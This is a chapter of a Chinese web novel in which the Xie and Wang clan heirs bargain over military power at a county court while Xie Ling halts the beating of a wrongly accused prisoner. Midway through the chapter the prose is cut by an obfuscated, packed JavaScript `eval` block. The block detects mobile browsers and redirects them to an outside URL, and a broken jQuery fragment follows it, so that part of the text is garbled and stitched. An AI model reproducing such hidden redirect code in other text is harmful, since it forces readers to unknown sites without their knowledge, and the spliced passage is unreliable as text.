47. 翻手作云覆手雨
    寒风吹起墙阴处还未融化的雪屑,冰冷刺骨的气息随着王闵桃花笑眼中的阴鸷眸光,慢慢攀上谢苓的身躯。

    仿佛又回到梦里那个令人绝望的宅院,深冬之时跪伏在大雪里,任凭皑皑白雪落满肩发,也要向王闵卖乖讨好。

    她抿唇攥紧袖边,指尖发白。

    正要咬牙毫不示弱地回看对方,就看到身旁的谢珩上前半步,正好遮住了她的视线。

    心口一松,她怔然地仰头,看着面前挺拔高大的身影。

    谢珩睨着几步开外的王闵,狭长的凤眸看不出情绪。

    王闵笑意盈盈地回视着他,回视着这个前些日子险些把自己斩杀在帐子里的人。

    自幼起,二人便总被放在一起提及,并称建康二子。

    他是风流多情,才学出众的王氏嫡子。

    谢珩是琼姿皎皎,惊才绝艳的谢氏嫡子。

    听起来差不多,可只有他自己知道,他与谢珩的差距有多大。

    从文到武,他都比不过谢珩,更遑论对方还有一颗他难以企及的冷硬心肠。

    世人都说谢珩是温润如玉,心系天下的贵公子,可只有他们几大世家才知晓,对方无情无义,野心勃勃。

    他目光落在谢珩身后露出的一片鹅黄色衣角,意味深长地笑了。或许对方也不是全然无情。

    “士衡兄,多日不见,别来无恙。”

    想着,他似乎是忘记了那日的刀剑相向,跟谢珩打了招呼。

    谢珩漠然的眸光扫过他包扎着白布的小指,回了句:“别来无恙。”

    说罢,他侧头低眸看着缓过劲儿来的谢苓道:“走吧。”

    谢苓点头,没有再看王闵一眼,径直跟着谢珩进了县衙。

    ……

    县衙大堂很小,一眼便能看清全貌。

    孙向荣此时趴在地上,衣裳被混了尘土的血水浸透,在地上留下一滩血痕。

    他手脚被带了镣铐,双颊红肿一片,显然已经被上过刑。

    高堂之上坐着个二十来岁,面白脸宽,身着深绿官服的男人。正是江宁县令杨坛。

    下首依次县丞、主簿、典史以及师爷。

    除此之外便是一干拿着杀威棒的衙役。

    见谢珩突然来访,杨坛面色微变,随即反应过来,撩袍朝下走来,慌忙给谢珩行礼。

    “谢大人大驾光临,杨某有失远迎。”

    两旁的衙役十分有眼色的忙搬来了椅子放好。

    谢珩嗯了一声,坐在椅子上,也不说来做什么,似乎只是闲得无聊来观一场审讯。

    杨坛急得冒汗,心说这阎王怎么来了,迟迟不敢继续对奄奄一息的孙向荣动刑。

    正当他纠结时,就见王闵带着个侍卫闲庭漫步走来。

    杨坛顿时松了口气,求救看着王闵。

    王闵掀袍坐到另一边,跟谢珩面对面,中间隔着孙向荣。

    他扫过谢苓低垂的脸,缠绕白布的小指泛起一股疼意,他毫不在意,用那只手把玩着个蓝玉珠子,笑眯眯道:“继续审啊,愣着做什么。”

    杨坛点头,用袖子抹掉额头的虚汗,坐回了主位,一拍惊堂木。

    “犯人孙向荣,说,你为何要杀害严郭!”

    孙向荣费力地抬起肿胀的脸,含糊不清地吐出一句“我没有”,口中便涌出一股血来。

    “冥顽不灵!给我打!”

    惊堂木再响,两旁拿着杀威棒的衙役上前,那手臂粗的棍子眼看就要落在孙向荣的后背。

    孙向荣绝望撑开被血糊住的眼,费力侧头,朝最可能心软的貌美女郎动了动唇。

    谢苓看得分明。

    他说,救我。

    她也知道这一棍子定是朝着要对方命去的,但谢珩不说话,她摸不清对方的意思,怕自己轻举妄动之下,坏了计划。

    眼看棍子就要落下,谢苓终是没忍心看一条人命落在这。

    更何况,她觉得如果孙向荣真死了,那才是更大的麻烦。

    于是她站起来,呵道:“住手!”

    衙役的棍子生生停在孙向荣后背一寸之处,诧异地看着忽然阻止的谢苓。

    杨坛早有准备会遭到谢珩阻止,他挥了挥手让衙役退下,看着仙姿玉貌的女郎,好声好气问道:“姑娘,这是做何?”

    谢苓道:“问都不问清楚就上重刑,杨大人就是如此做我大靖的官?”

    杨坛拿出早已准备好的说辞,命一旁的师爷把一份诉状拿给谢苓。

    “姑娘,这是孙向荣邻居的证词,以及严郭亲兄长和遗孀的诉状。”

    谢苓接过东西,翻看了一遍,递给了一旁的谢珩。

    谢珩只扫了一眼,随手便将那几张薄薄的纸张抛向一旁放着烙铁的火盆。

    纸张纷纷扬扬落下,被灼热的火舌瞬间吞没殆尽,寒风一吹,盆出飘出些带着余热灰烬。

    杨坛愣在原地,等反应过来,那些他精心准备的罪状,早都化成了灰。

    谢苓挑眉看向谢珩,就见对方端坐在椅上,细碎的日光透过大敞的门,和屋内半边阴影交织着,笼在他靛蓝的氅衣上,在他侧颜镀上一层朦胧的光。

    明明做了件令人意外的事,他的神情却还是一如既往地淡漠。

    杨坛很气闷,也很恐惧。

    他不是普通百姓,他们杨氏依附王家,自然知道眼前这个看似矜贵斯文的男人,到底有多么心狠手辣。

    那可是在泸州任刺史时,眼都不眨就亲手屠了整整一个王府的谢珩!那时候他才十七。

    他斟酌了下,委婉问道:“谢大人,这证词和诉状,有何问题吗?”

    谢珩长眸一撩,声音冷淡:“西月楼,真拂。”

    大堂的人听得一头雾水,包括谢苓也是不解地看向谢珩。

    唯有杨坛大惊失色。

    他嘴唇翕动着,半天嗓子里才挤出个:“下官愚笨,还望您明示。”

    话音刚落,忽然间传来珠子落地的清脆响声。

    沉默许久的王闵弯腰拾起珠子,或许是珠子沾了尘土,他不屑再要,抬手将其抛在火盆,顷刻间便传来咔嚓一声脆响。上好的蓝玉珠便在火盆里变成了几瓣。

    他用帕子擦了擦手,笑道:“杨坛,说你是蠢材,你还真是蠢材。”

    “证人都摆你面前了,还能用找人伪装字迹这种昏招。”

    说着,他有些不耐,一挥手道:“叫你的人都滚回后堂去,”他看了眼地上气息微弱的孙向荣,目露嫌弃:“把这晦气东西也拖走,别弄死了。”

    杨坛这下更迷惑了,但他不敢问王闵,赶忙行礼带着人退下,顺带关上了大堂的门。

    屋里瞬间暗了下来。

    谢珩直视王闵,也不绕弯子。

    “王氏若想被林文翰吞了西府兵,尽管继续助他。”

    王闵审视着谢珩,想从他脸上找出一丝一毫破绽,却发现对方始终沉静如冰,看不出一丝情绪。

    他道:“士衡兄,我知你谢家想视林太师为眼中钉肉中刺,可在我王家眼里,他就是个听话又有些能力的老狗。”

    “你不必挑拨离间。”

    谢珩睨了眼他,唇边泛起嘲意:“蠢货,前两个月你前往豫州,竟没发现林文瀚早把西府兵安插成了筛子?”

    王闵倏地抬头,死死盯着谢珩,咬牙切齿道:“你说什么?”

    谢珩神色淡淡,又道:“林文瀚没那么简单,我劝你收手,莫要与虎谋皮。”

    “王谢两家虽针锋相对,但士族一体,现在不是你死我亡的时候。”

    王闵甩袖坐在椅子上,脸色铁青,半晌没有说话。

    谢珩的话,起码有七分是真的。

    今日他收到赌坊消息后,猜到对方会来这,心中便有了一计,快马加鞭来到县衙。

    可他的目的未达成,却得到了个令他气恼的消息。

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14168063|144990||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    林文瀚寒门出身,外人都说他是替皇帝一派做事,才到了今日的位置。无人不知对方能青云直上,是他王家扶持的。

    王家把他当做埋在皇帝身边的暗子。

    谢珩又是何时知道王林两家有关系?他又是何时把手伸进西府兵?

    他探究的目光落在谢珩身上,良久未曾作声。

    谢苓皱眉看着二人你来我往,默默分析着话里的信息。

    西府兵是大靖开国时,王氏一手办的。

    镇京西北,镇守历阳时间最长,进则寿阳,退则芜湖,以豫州刺史为都督。至多能动用五万余人。

    北府兵则是百年前,也就是谢珩的太爷组建的,镇京东北,镇守广陵较久,以徐、青、兖州刺史为都督。至多动员七万大军。

    梦里依稀是有这么回事,谢珩有次情绪不大好,跟她提了几句,说是跟王家谈判未果,反而与旁人联手。

    想必就是如今这桩事。

    谢珩他居然如此手段,光明正大把手伸在王氏的西府兵里,甚至知道对方都未发觉的问题。

    而且今日之事,很明显是谢珩一早就谋划好的。什么找林华仪虐杀侍女的证据,都是障眼法罢了。

    这也是他为什么对衙役棒杀孙向荣时不加阻拦。

    他根本不在意,因为与他的谋划无关紧要。

    若不是自己阻止,孙向荣已经被冤死了。

    谢苓心底发寒。

    这得多冷血,才能眼睁睁看着一条生命被冤死在眼前。

    她坐在椅子上,后背和掌心出了一层细密的冷汗。

    与这样的人谋权夺利,她是否有点不自量力?

    谢苓袖下的指尖一片青白,她垂下长睫,复又掀起,柔和清澈的杏眸闪过笃定。

    不,不是自不量力。她的弱小,恰好也是她的武器。

    不争权夺利,她哪里来的生机?

    她平静了心绪,默默思索今日之事,试图猜测谢珩的心思。

    谢珩此行的目的,是来跟王闵谈判。

    谢苓看着对方冷玉般的侧颜,和浓卷的羽睫,抿了抿唇。

    她觉得,谢珩的目的不止这么简单。

    周遭一片寂静,唯独摆在当中的火盆噼里啪啦响着。

    王闵脸色愈发难看,就当谢苓以为他要甩袖离去时,他咬牙切齿开口了。

    “谢珩,你想要什么?”

    谢珩神色平淡如水,深邃的眉眼一抬,凝向王闵:“弃了林文瀚,同我谢氏联手。”

    王闵道:“容我考虑。”

    他明白谢珩的意思。

    王谢如同百年前一般再次联手,剪除异党,保士族不被皇权新贵吞没驱逐。

    皇帝如今动作频繁,再加朝中寒门子弟增多,针对士族的不在少数,又有谢氏时不时的绊子,父亲头疼不已。

    他也知道,若是皇权获胜,留给士族的,轻则退出权利中心,重则株连九族。

    可跟谢珩联手就是对的吗?他难保不会卸磨杀驴,将他王家做了踏脚石、登云梯。

    更何况林文瀚的把柄,可悉数都在他王家手中,比起谢珩,对方似乎更让人放心。

    思虑良久,他决定要尽快回去跟父亲禀报此事,先解决了西府兵的事,再做其余打算。

    至于林华仪虐杀侍女的事,他本来就不打算管,毕竟若林文瀚连这么点小事都解决不掉,也就不会坐上太师的位置。

    王闵还未忘今日本来的目的,他看着谢珩道:“孙向荣这桩事我不插手,但我有要求。”

    见谢珩未吭声,他便继续道:“我得到消息,司隶校尉庾宴不日会有动作,事关税制改革一事。”

    谢珩颔首道:“我知道。”

    王闵道:“我帮你解决,你把都水使者的位置让出来给我王家,以及……”

    他话锋一转,桃花眼似笑非笑看向谢苓,仿佛在看一个精美的物件:“把她送给我。”